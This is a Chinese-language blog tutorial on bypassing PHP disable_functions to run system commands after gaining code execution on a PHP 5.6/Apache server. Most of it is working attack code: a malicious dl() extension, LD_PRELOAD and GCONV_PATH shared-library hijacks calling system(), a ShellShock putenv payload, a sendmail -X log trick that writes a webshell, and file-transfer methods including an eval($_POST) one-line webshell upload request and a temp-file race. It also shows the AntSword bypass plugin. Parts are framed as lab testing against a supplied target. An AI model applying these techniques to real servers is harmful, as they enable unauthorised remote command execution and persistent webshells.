前言

这篇文章适用于在PHP环境中,能够进行代码执行,却由于禁用一些命令执行函数导致无法进行命令执行(getshell)的情况,

适用于未禁用putenv()的PHP5环境。

本文测试环境为PHP5.6.40+Apache 非CGI模式(如果是PHP-FPM还有其它办法,本文主要是针对Apache 2.0 Handler),

本文所提及的代码执行意思是能够执行PHP代码,提及的命令执行意思是能够执行系统命令。

如果我找到其它更好的方法,本文还会更新补充

本文有一点点PHP源码的分析

目录

  • Bypass-disable_function

    • 手动操作(推荐)

      • 允许dl函数和可以传输文件到靶机
      • 情况1-允许函数putenv()和error_log()或mail()且存在可写目录和可以传输文件到靶机
      • 情况2-允许函数putenv()、iconv()和可以传输文件到靶机
      • 情况3-允许函数putenv()、include()且允许使用php://filter/…=convert.iconv…、存在可写目录和可以传输文件到靶机(iconv函数被禁用)
      • 情况4-允许函数putenv()、error_log()或mail函数(ShellShock)
    • 使用蚁剑的插件一键绕过

  • 传输文件的一些方法(把.so文件传上去)

  • 其它

搭建简易靶机

提供简易靶机

提供docker-compose打包文件

下载地址:本站域名/static/post/PHP-Bypass-disable_function/ext/bypass_test.zip

本文章的大部分操作基于此靶机进行,为了方便演示,未做太多限制

靶机环境信息

PHP版本

1
5.6.40

系统

1
x86_64

Server API

1
Apache 2.0 Handler

被禁用的函数

1
fpassthru,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,chgrp,chroot,assert,eval,scandir,var_dump

其中可以见到存在如下函数,也就是基本无法进行命令执行

1
system,exec,shell_exec,popen,proc_open,passthru,pcntl_exec

其它

为了方便,访问/test.php即可查看phpinfo

360截图17380404546252

绕过disable_function

手动操作

先上传一句话木马

360截图1705033075118105

然后使用蚁剑连接

360截图18141220352648

较少见的情况

要求

允许dl函数和可以传输文件到靶机

做准备

编译以下程序为so

下载php源码(要下载对应版本的PHP)再进入 源码目录/ext/,新建myshell.def保存以下内容

1
void myshell(string strarg)

保存以下代码为myshell.c

1
2
3
4
5
6
7
8
9
10
PHP_FUNCTION(myshell) {
char *strarg = NULL;
int strarg_len;

if (ZEND_NUM_ARGS() TSRMLS_CC,"s", &strarg, &strarg_len) == FAILURE || ZEND_NUM_ARGS() != 1) {
php_error(E_WARNING, "extstract: not yet implemented");
} else {
system(strarg);
}
}

执行(确保处于源码目录/ext/下)

1
2
chmod +x ext_skel
./ext_skel --extname=myshell --proto=myshell.def

执行完上面的命令可以发现多了一个myshell文件夹

360截图17571117296617

进入 源码目录

编译(编译太麻烦这里就不做尝试了)

1
2
3
chmod +x configure
./configure --enable-myshell
make

编译完成会在源码目录/ext/modules下出现myshell.so

PHP调用

1
2
3
4
5
6
7
8
<?php 
dl('/tmp/exp2.so');
if (extension_loaded('exp2')) {
myshell("ls /");
} else {
echo "Can not load exp2";
}
?>

情况1

要求

允许函数putenv()和error_log()或mail()且存在可写目录和可以传输文件到靶机

做准备

编译以下c代码为.so文件(先将以下代码保存为exp1.c)

使用geteuid()并不是唯一的,还有很多其它函数可以用

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>

int geteuid() {
if(getenv("LD_PRELOAD") != NULL) {
unsetenv("LD_PRELOAD");
system("ls / > /tmp/t.txt");
} else {
return 0;
}
}

或者使用如下的程序也可以

下面这个程序可以通过启动子进程来触发(evil shared library)

比如new Imagick(需要有这个插件)

1
2
3
4
5
6
7
8
9
10
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>

__attribute__ ((__constructor__)) void preload() {
if(getenv("LD_PRELOAD") != NULL) {
unsetenv("LD_PRELOAD");
system("ls / > /tmp/t.txt");
}
}

编译命令如下

(注意:需要安装gcc)

(so文件记得要对应系统版本哦,x86对x86,arm对arm)

1
gcc exp1.c -o exp1.so -shared -fPIC

360截图16991123547693

然后上传到服务器可写可读目录,

这里我选择了/tmp,用蚁剑来上传文件

360截图16720403676057

关于上面的c程序

在上面的c程序中,调用了system函数来执行以下命令,

当命令成功执行,会将/目录下的所有文件、文件夹名写入到/tmp/t.txt

(当然也可以改成其它命令,比如反弹个shell什么的)

1
ls / > /tmp/t.txt

执行结果如下

image-20220417213229705

PHP利用程序

如保存为2.php,

将2.php上传到网站目录,访问2.php即可触发

(/tmp/exp1.so就是上传的so的路径)

1
2
3
4
<?php 
putenv("LD_PRELOAD=/tmp/exp1.so");
error_log("",1,"","");
?>

360截图18430710526989

(如果error_log函数被禁用了,而mail函数没有被禁用,可以尝试mail(“”,””,””,””);)

360截图1814122288118135

分析PHP源码中的mail函数实现(可跳过此段)

实际上都是使用sh执行(源码目录/main/main.c 545行)

360截图17860605314153

继续跟进(源码目录/ext/standard/mail.c)

360截图17860608378743

可以找到php_mail函数

360截图17860605202657

添加额外字串

360截图1798011191117138

使用c标准库(stdio.h)中的popen函数来调用sendmail

是否可以通过加参数来进行命令执行?下面会进行尝试,请继续看下去

360截图17981127363073

执行PHP

访问上传的php文件即可

image-20220417213342867

查看是否成功执行命令,

可以看到t.txt已经出来了,说明触发成功

360截图18470126546642

命令执行成功

360截图162708249677111

分析

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。当调用一些外部库的函数时,如果通过动态链接库LD_PRELOAD预加载另一个同名的函数,其使用的就是LD_PRELOAD生成的库文件,这样就会造成劫持。这个劫持当然首先可以想到的是提权,其次其也可以用于软件破解和功能增加。

当LD_PRELOAD中写入自己的so,可以劫持掉系统的动态链接库,甚至可以提权

比如上面我们加载了一个函数名为geteuid的so,

当sh运行时,会调用geteuid,此时geteuid就被劫持为我们写的程序流程

而c语言中的popen运行时实际上使用了/bin/sh -c

360截图175711179372125


情况2

要求

允许函数putenv()、iconv()和可以传输文件到靶机

准备工作

编译so文件

编译下面程序为so

1
2
3
4
5
6
7
8
9
#include <stdio.h> 
#include <stdlib.h>

void gconv() {
}

void gconv_init() {
system("ls / > /tmp/t.txt");
}

编译命令

1
gcc exp.c -o exp.so -shared -fPIC
新建gconv-modules

这里还是选择了/tmp目录(用蚁剑新建文件只是因为方便)

360截图17860603609249

360截图16820123113411

gconv-modules内容为如下(注意exp对应exp.so)

1
2
module  exp//    INTERNAL    /tmp/exp    2
module INTERNAL exp// /tmp/exp 2

PHP利用程序

如保存为1.php,

将1.php上传到网站目录,访问1.php即可触发

1
2
3
4
<?php 
putenv("GCONV_PATH=/tmp/");
iconv("exp", "UTF-8", "");
?>

执行

访问php文件,成功执行命令(如果发现没有执行的话就多试几次)

360截图17321127290958

分析

引用自此篇

iconv_open函数的执行过程:

  • iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。

  • 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
    之后会调用.so文件中的gconv()与gonv_init()函数。

  • 然后就是一些与本漏洞利用无关的步骤。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  • iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  • 根据gconv-modules文件的指示找到参数对应的.so文件。
  • 调用.so文件中的gconv()和gonv_init()函数。
  • 一些其他步骤。

简单来说就是linux系统中GCONV_PATH这个环境变量记录自定义gconv-modules文件所在的目录,

然后调用iconv时将会根据gconv-modules文件找到对应的.so文件,

如果我们在so文件的gconv_init()中写入恶意程序,调用iconv后即可getshell

情况3

要求

情况3-允许函数putenv()、include()且允许使用php://filter/…=convert.iconv…、存在可写目录和可以传输文件到靶机(iconv函数被禁用)

查看信息

可以查看phpinfo的Registered Stream Filters项来确定是否支持convert.iconv

360截图18141217065951

准备工作

编译so文件

编译下面程序为so, 和情况2是一样的

1
2
3
4
5
6
7
8
9
#include <stdio.h> 
#include <stdlib.h>

void gconv() {
}

void gconv_init() {
system("ls / > /tmp/t.txt");
}

编译命令

1
gcc exp.c -o exp.so -shared -fPIC
新建gconv-modules

和上面是一样的操作

360截图17860603609249

360截图16820123113411

gconv-modules内容为如下

1
2
module  exp//    INTERNAL    /tmp/exp    2
module INTERNAL exp// /tmp/exp 2

PHP利用程序

(exp.so可以改为exp,可以不需要后缀,但是同时下面的/tmp/exp.so也要改成/tmp/exp)

1
2
3
4
<?php
putenv("GCONV_PATH=/tmp/");
include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
?>

执行PHP

访问php文件,出现以下内容莫慌

360截图16901222988696

成功执行命令

360截图17001014101115134

情况4

要求

允许函数putenv()、error_log()或mail函数(ShellShock)

PHP利用程序

这个靶机无法复现ShellShock,只能贴一下exp了

error_log函数可以替换为mail函数

1
2
3
4
<?php
putenv("PHP_flag=() { :; }; ls / > /tmp/t.txt");
error_log("",1,"","");
?>

使用蚁剑的插件一键绕过

需要在蚁剑中安装as_bypass_php_disable_functions插件

打开插件

360截图18470125547362

查看信息

右侧可以查看一些信息,可以知道有什么函数是能利用的

image-20220413171543288

因为环境是Apache+PHP5.6且PHP用的不是CGI模式,所以初步排查出来能用的只有这两个模式,

又由于iconv函数被禁用,所以这里选择LD_PRELOAD模式

360截图16840921313429

开始绕过

打开LD_PRELOAD模式,可以发现需要的两个函数都可以使用,

此时可以单击开始

360截图17310211108117133

需要注意的是,有时不一定能成功,最好还是手动操作

360截图16720328526790

传输文件的一些方法

使用蚁剑(最简单)

直接上传或右键wget

当以下函数被禁用,蚁剑就不能上传下载文件了

1
fputs,fwrite

使用写文件函数配合编码

如使用base64配合fputs,fwrite,fgetss,fgets,fopen,fread,readfile,file_get_contents,file_put_contents

1
file_put_contents("a.php",base64_decode($_POST['a']))

读文件还可以用show_source、highlight_file

原生类SplFileObject

还可以用原生类

1
$a = new SplFileObject("http://网址/文件");

或base64编码后的结果

1
2
$a = new SplFileObject("php://filter/convert.base64-encode/resource=http://网址/文件");
echo $a;

copy函数

1
echo copy("http://网址/文件", "文件保存路径");

file_get_contents函数

1
$c = file_get_contents("http://网址/文件");

使用FTP

程序来自此处,大佬太强了

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_anonymous("./")

handler = FTPHandler
handler.authorizer = authorizer

handler.masquerade_address = "ip"
# 注意要用被动模式
handler.passive_ports = range(9998,10000)

server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$local_file = '/tmp/exp.so';
$server_file = 'exp.so';
$ftp_server = 'xxxxx';
$ftp_port=23;

$ftp = ftp_connect($ftp_server,$ftp_port);


$login_result = ftp_login($ftp, 'anonymous', '');

ftp_pasv($ftp,1);

if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}

ftp_close($ftp);

?>

使用move_uploaded_file函数

向写着以下程序的php文件post就行

1
move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);

给出请求示例(brup suite)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST / HTTP/1.1
Host: xxx.xxx.xxx:x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------357216684510229367843560456092
Content-Length: 423
Connection: close
Cookie: SESSID=aa
Upgrade-Insecure-Requests: 1

-----------------------------357216684510229367843560456092
Content-Disposition: form-data; name="file"; filename="eval.php"
Content-Type: application/octet-stream

<?php
@ eval ( $_POST [ 'pw' ]);
?>
-----------------------------357216684510229367843560456092--

使用XML相关类写文件

SimpleXMLElement

1
2
$xml = new SimpleXMLElement([xml-data]);
$xml->asXML([filename]);

DOMDocument

1
2
3
$d=new DOMDocument();
$d->loadHTML("[base64-data]");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=[filename]")

POST数据+条件竞争

PHP POST上传文件时,无论有无写文件上传处理代码,在上传时php会将文件内容暂存在/tmp目录下php_xxxxxx(xxxxxx表示随机字符),上传完成则删除

不断发送以下请求(以下只是一个示例),可以增加在/tmp目录下成功读取到文件的几率

1
2
3
4
5
6
7
8
9
10
11
12
POST /xxx  HTTP/1.1
Host: xxx.xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: xx
Connection: close

------WebKitFormBoundary
Content-Disposition: form-data; name="uploadfilename"; filename="xxxxxxxx"
Content-Type: application/octet-stream

[content]
------WebKitFormBoundary--

然后同时随便选个这些缓存读取,可以使用glob://进行锁定

1
2
$any=scandir("glob:///tmp/php*");
$filename="/tmp/".$any[0]

如果向我们的一句话木马POST的话,当然也可以使用以下代码来获取临时文件名

1
$_FILES['file']['tmp_name']

其它

关于eval

为什么eval被写进了disable_function,却能正常使用

eval是语言构造器,不是函数

PHP5.6.40源码

1
https://www.php.net/distributions/php-5.6.40.tar.gz

贴一下PHP disable_function的实现c代码

php_disable_functions

php_disable_functions函数在源码目录/main/main.c中189行

检索php.ini中disable_functions=的值,遇以空格或逗号分隔提取区间字符串,

再调用zend_disable_function函数,传参被禁函数名和字符串长度

360截图18190601439290

zend_disable_function

zend_disable_function函数在源码目录/Zend/zend_API.c中2683行

通过zend_hash_find函数来进行禁用

zend_hash_find函数去CG作用域下寻找function_table也就是所有函数(如果成功找到,此函数返回SUCCESS,否则FAILURE),

然后把函数的地址存到前面用zend_internal_function类型定义的func指针的值里(func是个一级指针)

func->arg_info = NULL 实际上是 所选函数结构体中的列arg_info设置为NULL,即变成空指针

下面的func->handler那句程序用于被调用时显示E_WARNING信息

360截图18471215362558

zend_disable_class函数也存在这个寻找的过程

360截图16820120396856

顺带复习一下c中的结构体和指针

360截图16780630715668

尝试加参数来进行mail函数的命令执行

继续分析php源码

再次来到 源码目录/ext/standard/mail.c

可以看到php中mail函数的实现方法

360截图18430701656261

继续调用了php的c源码中写的php_mail函数

360截图18220205042663

分析源码中的php_mail函数可知几个参数的作用,

显然to,subject,message这三个变量的值通过popen打开的流sendmail输入到标准输入(stdin)去了,无法利用

360截图16261005538694

但是可以看到在上面存在一个字符串拼接,拼接了sendmail的命令,

也就是extra_cmd

360截图17610613736787

继续跟进,可以得知extra_cmd来自这里

360截图17571121101145142

继续跟进,可以看到进行了php_escape_shell_cmd处理才给extra_cmd

同时可以看到force_extra_parameters

360截图17610617303582

force_extra_parameters来自php.ini的mail.force_extra_parameters参数

360截图17400114287144

extra_cmd其实是mail函数的第五个参数

360截图18270612387842

查看一下函数的描述,确实如此

360截图181412185511194

如果第五个参数没有经过php_escape_shell_cmd处理

可以使用mail(“”,””,””,””, ‘ -a ;ls / > /tmp/t.txt’);来进行命令执行,

如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

int main() {
FILE *sendmail;
int ret;
char buf[128];

sendmail = popen("/usr/sbin/sendmail -t -i -a;ls / > /tmp/ttt", "w");
fprintf(sendmail, "2");
while(fgets(buf, sizeof buf, sendmail)) {
printf("%s", buf);
}
ret = pclose(sendmail);


printf("%d", ret);
return 0;
}

测试

360截图181807127211575

但可惜的是有php_escape_shell_cmd处理,“;”等字符会被转义掉

360截图1786060797129108

但某些版本的php(PHP 5 <= 5.2.5,PHP 4 <= 4.4.8)是能够利用宽字节来bypass的,具体可以参考这个文章

在php5.6.40下没有测试成功,

估计是修复了php_escape_shell_cmd或者靶机无法设置LANG=zh_CN.GBK,

就不细究了

1
2
3
4
5
<?php 
putenv("LANG=zh_CN.GBK");
//ini_set('mail.force_extra_parameters',' -a;echo 1 > /tmp/t');
mail("","","","", ' -a '.chr(0xbf).';ls / > /tmp/t.txt');
?>

2023.8.4更新

在sendmail程序的参数中,有一个-X选项,用于记录所有的邮件至log文件中

通过-X指定log文件记录日志,可以写文件到网站目录来实现RCE

1
2
3
4
5
6
7
8
<?php 
$to = 'example@example.com';
$subject = 'testtest';
$message=‘<?php phhpinfo(); ?>’;
$headers = "CC: example_@example.com";
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);
?>

更多内容可以参考:https://blog.csdn.net/hongrisec/article/details/104746715

感觉还是很有意思的

写在最后

谢谢,如有错误,麻烦指正

EOF